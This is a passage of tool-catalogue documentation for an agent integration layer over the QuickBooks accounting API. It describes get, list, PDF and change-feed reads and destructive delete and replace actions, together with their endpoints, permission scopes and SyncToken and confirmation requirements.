reader sees a gap they cannot detect. QuickBooks publishes both and Agentic Fabriq now exposes both — under separate scopes, so an organisation can grant the traceable one and withhold this — because withholding it from the catalog never withheld it from the credential. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/sales-receipts/delete. Scopes: sales:delete. quickbooks_delete_time_activity (write, destructive) — DESTRUCTIVE — delete one time activity outright. There is no undo and no voided remnant: the record leaves the register entirely. This exists because Agentic Fabriq can CREATE a time activity and QuickBooks publishes no void for one — shipping a posting write with no way back is the asymmetry, not the fix. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/time-activities/delete. Scopes: timetracking:write. quickbooks_delete_transfer (write, destructive) — DESTRUCTIVE — delete one transfer outright. There is no undo and no voided remnant: the record leaves the register entirely. This exists because Agentic Fabriq can CREATE a transfer and QuickBooks publishes no void for one — shipping a posting write with no way back is the asymmetry, not the fix. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/transfers/delete. Scopes: ledger:delete. quickbooks_delete_vendor_credit (write, destructive) — DESTRUCTIVE — delete one vendor credit outright. There is no undo and no voided remnant: the record leaves the register entirely. This exists because Agentic Fabriq can CREATE a vendor credit and QuickBooks publishes no void for one — shipping a posting write with no way back is the asymmetry, not the fix. The record's current SyncToken is required and is not looked up automatically, so an agent must read it immediately beforehand. POST /api/v1/tools/quickbooks/vendor-credits/delete. Scopes: purchasing:delete. quickbooks_download_attachment (read) — Download one attached file by its Attachable Id — a receipt behind an expense, a signed purchase order — returned base64-encoded with its content type and byte length. One Id per call, never a list-and-sweep. A file above the size ceiling is refused rather than truncated: half a document is not a document, and a truncated blob is a corruption the agent cannot detect. GET /api/v1/tools/quickbooks/attachment. Scopes: accounting:read. quickbooks_get_account (read) — Get one account by Id — a chart-of-accounts account — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/account. Scopes: accounting:read. quickbooks_get_attachable (read) — Get one attachment by Id — an attached file's metadata — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/attachable. Scopes: accounting:read. quickbooks_get_bill (read) — Get one bill by Id — a supplier bill (accounts payable) — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/bill. Scopes: accounting:read. quickbooks_get_bill_payment (read) — Get one bill payment by Id — a payment made to a supplier — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/bill-payment. Scopes: accounting:read. quickbooks_get_budget (read) — Get one budget by Id — a budget — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/budget. Scopes: accounting:read. quickbooks_get_changes (read) — List records created, updated or deleted since a timestamp, for up to ten named entities — QuickBooks' change-data-capture feed. The right primitive for 'what changed since yesterday' without re-reading the whole company file. Read-only. The window is capped at 30 days (Intuit's own ceiling) and the entity list is required and capped, because an unbounded sweep over every entity is an export of the company file wearing an incremental-sync name. GET /api/v1/tools/quickbooks/changes. Scopes: accounting:read. quickbooks_get_class (read) — Get one class by Id — a class (a reporting dimension) — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/class. Scopes: accounting:read. quickbooks_get_company_currency (read) — Get one company currency by Id — a currency the company transacts in — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/company-currency. Scopes: accounting:read. quickbooks_get_company_info (read) — Name the QuickBooks company this connection is bound to, with its legal name, country and fiscal year start. START HERE. This is the only call that says which company — and therefore whether these are a sandbox test company's books or a real business's — you are about to act on. Do it before any write. GET /api/v1/tools/quickbooks/company-info. Scopes: accounting:read. quickbooks_get_credit_memo (read) — Get one credit memo by Id — a credit note issued to a customer — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/credit-memo. Scopes: accounting:read. quickbooks_get_credit_memo_pdf (read) — Render one credit memo as the PDF QuickBooks itself produces, returned base64-encoded with its byte length. Read-only: this renders a document the agent can already read and sends nothing to anybody. Emailing it is a different operation and is not exposed. GET /api/v1/tools/quickbooks/credit-memo-pdf. Scopes: accounting:read. quickbooks_get_customer (read) — Get one customer by Id — a customer — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/customer. Scopes: accounting:read. quickbooks_get_customer_type (read) — Get one customer type by Id — a customer type — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/customer-type. Scopes: accounting:read. quickbooks_get_department (read) — Get one department by Id — a department or location — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/department. Scopes: accounting:read. quickbooks_get_deposit (read) — Get one deposit by Id — a bank deposit — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/deposit. Scopes: accounting:read. quickbooks_get_employee (read) — Get one employee by Id — an employee — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/employee. Scopes: accounting:read. quickbooks_get_entitlements (read) — List what the connected QuickBooks subscription is entitled to — which features and limits this company's plan carries. THE DIAGNOSTIC READ FOR A WHOLE CLASS OF FAILURE: a call refused because the company's plan does not include the feature looks identical to a call refused because the feature is switched off, and only this distinguishes them. Read-only. Note that Intuit serves this from /entitlements/v3/{company} rather than from the accounting path. GET /api/v1/tools/quickbooks/entitlements. Scopes: accounting:read. quickbooks_get_estimate (read) — Get one estimate by Id — a quote or estimate (NON-POSTING) — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/estimate. Scopes: accounting:read. quickbooks_get_estimate_pdf (read) — Render one estimate as the PDF QuickBooks itself produces, returned base64-encoded with its byte length. Read-only: this renders a document the agent can already read and sends nothing to anybody. Emailing it is a different operation and is not exposed. GET /api/v1/tools/quickbooks/estimate-pdf. Scopes: accounting:read. quickbooks_get_exchange_rate (read) — Read the exchange rate between one foreign currency and the company's home currency, optionally as of a date. An exchange rate has no Id — it is keyed by currency pair and date — so this is how one is read, and it is the precondition of quickbooks_update_exchange_rate. Read-only. GET /api/v1/tools/quickbooks/exchange-rate. Scopes: accounting:read. quickbooks_get_inventory_adjustment (read) — Get one inventory adjustment by Id — an inventory quantity/value adjustment — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/inventory-adjustment. Scopes: accounting:read. quickbooks_get_invoice (read) — Get one invoice by Id — an invoice — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/invoice. Scopes: accounting:read. quickbooks_get_invoice_pdf (read) — Render one invoice as the PDF QuickBooks itself produces, returned base64-encoded with its byte length. Read-only: this renders a document the agent can already read and sends nothing to anybody. Emailing it is a different operation and is not exposed. GET /api/v1/tools/quickbooks/invoice-pdf. Scopes: accounting:read. quickbooks_get_item (read) — Get one product or service by Id — a product or service — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/item. Scopes: accounting:read. quickbooks_get_journal_code (read) — Get one journal code by Id — a journal code (France locale only) — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/journal-code. Scopes: accounting:read. quickbooks_get_journal_entry (read) — Get one journal entry by Id — a general-ledger journal entry — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/journal-entry. Scopes: accounting:read. quickbooks_get_payment (read) — Get one payment by Id — a payment received from a customer — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/payment. Scopes: accounting:read. quickbooks_get_payment_method (read) — Get one payment method by Id — a payment method — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/payment-method. Scopes: accounting:read. quickbooks_get_payment_pdf (read) — Render one payment as the PDF QuickBooks itself produces, returned base64-encoded with its byte length. Read-only: this renders a document the agent can already read and sends nothing to anybody. Emailing it is a different operation and is not exposed. GET /api/v1/tools/quickbooks/payment-pdf. Scopes: accounting:read. quickbooks_get_preferences (read) — Read the company's QuickBooks preferences — which sales-form fields are on, whether custom transaction numbers are permitted, the default terms and payment methods, and which of classes/departments/multicurrency are enabled. This is the diagnostic read behind half of QuickBooks' rejections: a create refused as 'DocNumber not permitted' or 'Class required' is a preference, not a bad argument. Read-only — updating preferences is not exposed, because one write there changes the meaning of every subsequent transaction. GET /api/v1/tools/quickbooks/preferences. Scopes: accounting:read. quickbooks_get_purchase (read) — Get one expense by Id — an expense or cheque — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/purchase. Scopes: accounting:read. quickbooks_get_purchase_order (read) — Get one purchase order by Id — a purchase order (NON-POSTING) — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/purchase-order. Scopes: accounting:read. quickbooks_get_purchase_order_pdf (read) — Render one purchase order as the PDF QuickBooks itself produces, returned base64-encoded with its byte length. Read-only: this renders a document the agent can already read and sends nothing to anybody. Emailing it is a different operation and is not exposed. GET /api/v1/tools/quickbooks/purchase-order-pdf. Scopes: accounting:read. quickbooks_get_recurring_transaction (read) — Get one recurring transaction by Id — a recurring transaction template — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/recurring-transaction. Scopes: accounting:read. quickbooks_get_refund_receipt (read) — Get one refund receipt by Id — a refund issued to a customer — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/refund-receipt. Scopes: accounting:read. quickbooks_get_refund_receipt_pdf (read) — Render one refund receipt as the PDF QuickBooks itself produces, returned base64-encoded with its byte length. Read-only: this renders a document the agent can already read and sends nothing to anybody. Emailing it is a different operation and is not exposed. GET /api/v1/tools/quickbooks/refund-receipt-pdf. Scopes: accounting:read. quickbooks_get_reimburse_charge (read) — Get one reimbursable charge by Id — a reimbursable charge — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/reimburse-charge. Scopes: accounting:read. quickbooks_get_sales_receipt (read) — Get one sales receipt by Id — a sales receipt (sale paid at the point of sale) — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/sales-receipt. Scopes: accounting:read. quickbooks_get_sales_receipt_pdf (read) — Render one sales receipt as the PDF QuickBooks itself produces, returned base64-encoded with its byte length. Read-only: this renders a document the agent can already read and sends nothing to anybody. Emailing it is a different operation and is not exposed. GET /api/v1/tools/quickbooks/sales-receipt-pdf. Scopes: accounting:read. quickbooks_get_tax_agency (read) — Get one tax agency by Id — a tax agency — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/tax-agency. Scopes: accounting:read. quickbooks_get_tax_classification (read) — Get one tax classification by Id — a tax classification — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/tax-classification. Scopes: accounting:read. quickbooks_get_tax_code (read) — Get one tax code by Id — a tax code — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/tax-code. Scopes: accounting:read. quickbooks_get_tax_rate (read) — Get one tax rate by Id — a tax rate — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/tax-rate. Scopes: accounting:read. quickbooks_get_term (read) — Get one payment term by Id — a payment term — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/term. Scopes: accounting:read. quickbooks_get_time_activity (read) — Get one time activity by Id — a timesheet entry (NON-POSTING until billed) — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/time-activity. Scopes: accounting:read. quickbooks_get_transfer (read) — Get one transfer by Id — a transfer between two accounts — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/transfer. Scopes: accounting:read. quickbooks_get_vendor (read) — Get one vendor by Id — a vendor or supplier — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/vendor. Scopes: accounting:read. quickbooks_get_vendor_credit (read) — Get one vendor credit by Id — a credit from a supplier — including the fields the list projection omits and the record's current SyncToken. The SyncToken is QuickBooks' optimistic lock: every amendment, void and deletion requires the current one, so this action is a precondition of those rather than a convenience. GET /api/v1/tools/quickbooks/vendor-credit. Scopes: accounting:read. quickbooks_list_accounts (read) — List the company's accounts — a chart-of-accounts account. Returns each record's Id, which is what every other account action requires; QuickBooks resolves nothing by name. Inactive records are hidden by default: QuickBooks deactivates rather than deletes, so a company file accumulates them. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/accounts. Scopes: accounting:read. quickbooks_list_attachables (read) — List the company's attachables — an attached file's metadata. Returns each record's Id, which is what every other attachment action requires; QuickBooks resolves nothing by name. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/attachables. Scopes: accounting:read. quickbooks_list_bill_payments (read) — List the company's bill payments — a payment made to a supplier. Returns each record's Id, which is what every other bill payment action requires; QuickBooks resolves nothing by name. Most recent transaction date first. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/bill-payments. Scopes: accounting:read. quickbooks_list_bills (read) — List the company's bills — a supplier bill (accounts payable). Returns each record's Id, which is what every other bill action requires; QuickBooks resolves nothing by name. Most recent transaction date first. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/bills. Scopes: accounting:read. quickbooks_list_budgets (read) — List the company's budgets — a budget. Returns each record's Id, which is what every other budget action requires; QuickBooks resolves nothing by name. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/budgets. Scopes: accounting:read. quickbooks_list_classes (read) — List the company's classes — a class (a reporting dimension). Returns each record's Id, which is what every other class action requires; QuickBooks resolves nothing by name. Inactive records are hidden by default: QuickBooks deactivates rather than deletes, so a company file accumulates them. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/classes. Scopes: accounting:read. quickbooks_list_company_currencies (read) — List the company's company currencies — a currency the company transacts in. Returns each record's Id, which is what every other company currency action requires; QuickBooks resolves nothing by name. Inactive records are hidden by default: QuickBooks deactivates rather than deletes, so a company file accumulates them. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/company-currencies. Scopes: accounting:read. quickbooks_list_credit_memos (read) — List the company's credit memos — a credit note issued to a customer. Returns each record's Id, which is what every other credit memo action requires; QuickBooks resolves nothing by name. Most recent transaction date first. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/credit-memos. Scopes: accounting:read. quickbooks_list_customer_types (read) — List the company's customer types — a customer type. Returns each record's Id, which is what every other customer type action requires; QuickBooks resolves nothing by name. Inactive records are hidden by default: QuickBooks deactivates rather than deletes, so a company file accumulates them. Read-only entity. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/customer-types. Scopes: accounting:read. quickbooks_list_customers (read) — List the company's customers — a customer. Returns each record's Id, which is what every other customer action requires; QuickBooks resolves nothing by name. Inactive records are hidden by default: QuickBooks deactivates rather than deletes, so a company file accumulates them. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/customers. Scopes: accounting:read. quickbooks_list_departments (read) — List the company's departments — a department or location. Returns each record's Id, which is what every other department action requires; QuickBooks resolves nothing by name. Inactive records are hidden by default: QuickBooks deactivates rather than deletes, so a company file accumulates them. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/departments. Scopes: accounting:read. quickbooks_list_deposits (read) — List the company's deposits — a bank deposit. Returns each record's Id, which is what every other deposit action requires; QuickBooks resolves nothing by name. Most recent transaction date first. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/deposits. Scopes: accounting:read. quickbooks_list_employees (read) — List the company's employees — an employee. Returns each record's Id, which is what every other employee action requires; QuickBooks resolves nothing by name. Inactive records are hidden by default: QuickBooks deactivates rather than deletes, so a company file accumulates them. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/employees. Scopes: accounting:read. quickbooks_list_estimates (read) — List the company's estimates — a quote or estimate (NON-POSTING). Returns each record's Id, which is what every other estimate action requires; QuickBooks resolves nothing by name. Most recent transaction date first. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/estimates. Scopes: accounting:read. quickbooks_list_exchange_rates (read) — List the company's exchange rates — a currency exchange rate. Returns each record's Id, which is what every other exchange rate action requires; QuickBooks resolves nothing by name. An exchange rate has no Id: it is keyed by source currency, target currency and date. Use quickbooks_get_exchange_rate to read one by currency code. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/exchange-rates. Scopes: accounting:read. quickbooks_list_inventory_adjustments (read) — List the company's inventory adjustments — an inventory quantity/value adjustment. Returns each record's Id, which is what every other inventory adjustment action requires; QuickBooks resolves nothing by name. Most recent transaction date first. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/inventory-adjustments. Scopes: accounting:read. quickbooks_list_invoices (read) — List the company's invoices — an invoice. Returns each record's Id, which is what every other invoice action requires; QuickBooks resolves nothing by name. Most recent transaction date first. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/invoices. Scopes: accounting:read. quickbooks_list_items (read) — List the company's items — a product or service. Returns each record's Id, which is what every other product or service action requires; QuickBooks resolves nothing by name. Inactive records are hidden by default: QuickBooks deactivates rather than deletes, so a company file accumulates them. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/items. Scopes: accounting:read. quickbooks_list_journal_codes (read) — List the company's journal codes — a journal code (France locale only). Returns each record's Id, which is what every other journal code action requires; QuickBooks resolves nothing by name. Inactive records are hidden by default: QuickBooks deactivates rather than deletes, so a company file accumulates them. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/journal-codes. Scopes: accounting:read. quickbooks_list_journal_entries (read) — List the company's journal entries — a general-ledger journal entry. Returns each record's Id, which is what every other journal entry action requires; QuickBooks resolves nothing by name. Most recent transaction date first. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/journal-entries. Scopes: accounting:read. quickbooks_list_payment_methods (read) — List the company's payment methods — a payment method. Returns each record's Id, which is what every other payment method action requires; QuickBooks resolves nothing by name. Inactive records are hidden by default: QuickBooks deactivates rather than deletes, so a company file accumulates them. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/payment-methods. Scopes: accounting:read. quickbooks_list_payments (read) — List the company's payments — a payment received from a customer. Returns each record's Id, which is what every other payment action requires; QuickBooks resolves nothing by name. Most recent transaction date first. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/payments. Scopes: accounting:read. quickbooks_list_purchase_orders (read) — List the company's purchase orders — a purchase order (NON-POSTING). Returns each record's Id, which is what every other purchase order action requires; QuickBooks resolves nothing by name. Most recent transaction date first. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/purchase-orders. Scopes: accounting:read. quickbooks_list_purchases (read) — List the company's purchases — an expense or cheque. Returns each record's Id, which is what every other expense action requires; QuickBooks resolves nothing by name. Most recent transaction date first. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/purchases. Scopes: accounting:read. quickbooks_list_recurring_transactions (read) — List the company's recurring transactions — a recurring transaction template. Returns each record's Id, which is what every other recurring transaction action requires; QuickBooks resolves nothing by name. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/recurring-transactions. Scopes: accounting:read. quickbooks_list_refund_receipts (read) — List the company's refund receipts — a refund issued to a customer. Returns each record's Id, which is what every other refund receipt action requires; QuickBooks resolves nothing by name. Most recent transaction date first. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/refund-receipts. Scopes: accounting:read. quickbooks_list_reimburse_charges (read) — List the company's reimburse charges — a reimbursable charge. Returns each record's Id, which is what every other reimbursable charge action requires; QuickBooks resolves nothing by name. Most recent transaction date first. Read-only entity. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/reimburse-charges. Scopes: accounting:read. quickbooks_list_sales_receipts (read) — List the company's sales receipts — a sales receipt (sale paid at the point of sale). Returns each record's Id, which is what every other sales receipt action requires; QuickBooks resolves nothing by name. Most recent transaction date first. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/sales-receipts. Scopes: accounting:read. quickbooks_list_tax_agencies (read) — List the company's tax agencies — a tax agency. Returns each record's Id, which is what every other tax agency action requires; QuickBooks resolves nothing by name. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/tax-agencies. Scopes: accounting:read. quickbooks_list_tax_classification_children (read) — List the tax classifications directly beneath one parent classification. QuickBooks' tax classifications are a TREE and a plain query returns it flattened, so this is how the hierarchy is walked — which is what you need to pick the right classification for an item rather than guessing from a name. Read-only. GET /api/v1/tools/quickbooks/tax-classification-children. Scopes: accounting:read. quickbooks_list_tax_classifications (read) — List the company's tax classifications — a tax classification. Returns each record's Id, which is what every other tax classification action requires; QuickBooks resolves nothing by name. Read-only entity. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/tax-classifications. Scopes: accounting:read. quickbooks_list_tax_classifications_by_level (read) — List every tax classification at one depth in the tree — level 0 is the top. The companion to quickbooks_list_tax_classification_children for walking the hierarchy from the top down rather than from a known parent. Read-only. GET /api/v1/tools/quickbooks/tax-classifications-by-level. Scopes: accounting:read. quickbooks_list_tax_codes (read) — List the company's tax codes — a tax code. Returns each record's Id, which is what every other tax code action requires; QuickBooks resolves nothing by name. Inactive records are hidden by default: QuickBooks deactivates rather than deletes, so a company file accumulates them. Created through TaxService, which AF does not expose. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/tax-codes. Scopes: accounting:read. quickbooks_list_tax_rates (read) — List the company's tax rates — a tax rate. Returns each record's Id, which is what every other tax rate action requires; QuickBooks resolves nothing by name. Inactive records are hidden by default: QuickBooks deactivates rather than deletes, so a company file accumulates them. Created through TaxService, which AF does not expose. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/tax-rates. Scopes: accounting:read. quickbooks_list_terms (read) — List the company's terms — a payment term. Returns each record's Id, which is what every other payment term action requires; QuickBooks resolves nothing by name. Inactive records are hidden by default: QuickBooks deactivates rather than deletes, so a company file accumulates them. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/terms. Scopes: accounting:read. quickbooks_list_time_activities (read) — List the company's time activities — a timesheet entry (NON-POSTING until billed). Returns each record's Id, which is what every other time activity action requires; QuickBooks resolves nothing by name. Most recent transaction date first. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/time-activities. Scopes: accounting:read. quickbooks_list_transfers (read) — List the company's transfers — a transfer between two accounts. Returns each record's Id, which is what every other transfer action requires; QuickBooks resolves nothing by name. Most recent transaction date first. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/transfers. Scopes: accounting:read. quickbooks_list_vendor_credits (read) — List the company's vendor credits — a credit from a supplier. Returns each record's Id, which is what every other vendor credit action requires; QuickBooks resolves nothing by name. Most recent transaction date first. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/vendor-credits. Scopes: accounting:read. quickbooks_list_vendors (read) — List the company's vendors — a vendor or supplier. Returns each record's Id, which is what every other vendor action requires; QuickBooks resolves nothing by name. Inactive records are hidden by default: QuickBooks deactivates rather than deletes, so a company file accumulates them. Paged: 100 per page by default, 1000 at most. GET /api/v1/tools/quickbooks/vendors. Scopes: accounting:read. quickbooks_replace_bill (write, destructive) — DESTRUCTIVE — replace the whole content of one bill: its lines, its amounts and the party it belongs to. This is QuickBooks' FULL update and it behaves differently from quickbooks_update_bill: Intuit sets every writable field this request omits to NULL, silently, answering 200. So the caller must restate the document, not just the part it wants to change — read it with quickbooks_get_bill first and send back everything that should survive. Only the fields listed below can be set; anything outside that list is cleared by QuickBooks whatever the caller intended, which is why this action is flagged destructive and refuses to run without confirm=true. If all you need is a due date, a memo or a note, use quickbooks_update_bill — it cannot lose anything. The record's current SyncToken is required and is not looked up automatically. POST /api/v1/tools/quickbooks/bills/replace. Scopes: purchasing:replace. quickbooks_replace_bill_payment (write, destructive) — DESTRUCTIVE — replace the whole content of one bill payment: its lines, its amounts and the party it belongs to. This is QuickBooks' FULL update and it behaves differently from quickbooks_update_bill_payment: Intuit sets every writable field this request omits to NULL, silently, answering 200. So the caller must restate the document, not just the part it wants to change — read it with quickbooks_get_bill_payment first and send back everything that should survive. Only the fields listed below can be set; anything outside that list is cleared by QuickBooks whatever the caller intended, which is why this action is flagged destructive and refuses to run without confirm=true. If all you need is a due date, a memo or a note, use quickbooks_update_bill_payment — it cannot lose anything. The record's current SyncToken is required and is not looked up automatically. POST /api/v1/tools/quickbooks/bill-payments/replace. Scopes: purchasing:replace. quickbooks_replace_credit_memo (write, destructive) — DESTRUCTIVE — replace the whole content of one credit memo: its lines, its amounts and the party it belongs to. This is QuickBooks' FULL update and it behaves differently from quickbooks_update_credit_memo: Intuit sets every writable field this request omits to NULL, silently, answering 200. So the caller must restate the document, not just the part it wants to change — read it with quickbooks_get_credit_memo first and send back everything that should survive. Only the fields listed below can be set; anything outside that list is cleared by QuickBooks whatever the caller intended, which is why this action is flagged destructive and refuses to run without confirm=true. If all you need is a due date, a memo or a note, use quickbooks_update_credit_memo — it cannot lose anything. The record's current SyncToken is required and is not looked up automatically. POST /api/v1/tools/quickbooks/credit-memos/replace. Scopes: sales:replace. quickbooks_replace_deposit (write, destructive) — DESTRUCTIVE — replace the whole content of one deposit: its lines, its amounts and the party it belongs to. This is QuickBooks' FULL update and it behaves differently from quickbooks_update_deposit: Intuit sets every writable field this request omits to NULL, silently, answering 200. So the caller must restate the document, not just the part it wants to change — read it with quickbooks_get_deposit first and send back everything that should survive. Only the fields listed below can be set; anything outside that list is cleared by QuickBooks whatever the caller intended, which is why this action is flagged destructive and refuses to run without confirm=true. If all you need is a due date, a memo or a note, use quickbooks_update_deposit — it cannot lose anything. The record's current SyncToken is required and is not looked up automatically. POST /api/v1/tools/quickbooks/deposits/replace. Scopes: ledger:replace. quickbooks_replace_estimate (write, destructive) — DESTRUCTIVE — replace the whole content of one estimate: its lines, its amounts and the party it belongs to. This is QuickBooks' FULL update and it behaves differently from quickbooks_update_estimate: Intuit sets every writable field this request omits to NULL, silently, answering 200. So the 